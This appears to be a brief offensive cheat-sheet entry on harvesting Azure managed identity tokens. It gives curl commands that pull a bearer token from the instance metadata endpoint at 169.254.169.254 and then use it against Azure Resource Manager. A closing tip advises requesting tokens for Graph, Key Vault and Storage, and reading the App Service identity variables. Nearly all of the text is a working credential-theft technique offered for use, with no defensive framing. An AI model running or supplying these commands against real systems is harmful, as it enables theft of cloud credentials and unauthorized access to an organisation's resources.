Harvest an Azure managed identity token from IMDS

Aug 4, 2026 · 1 min read

Azure IMDS mints bearer tokens for the managed identity without any secret. Request a token for Azure Resource Manager or Graph and use it directly.

bash

curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/"

Use the token against ARM.

bash

curl -s -H "Authorization: Bearer $TOKEN" 
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

Pro note: request multiple resources (Graph, Key Vault, Storage) since a single identity often has access to several. On App Service the endpoint uses IDENTITY_ENDPOINT and IDENTITY_HEADER from the environment instead of the fixed IP, so read those first.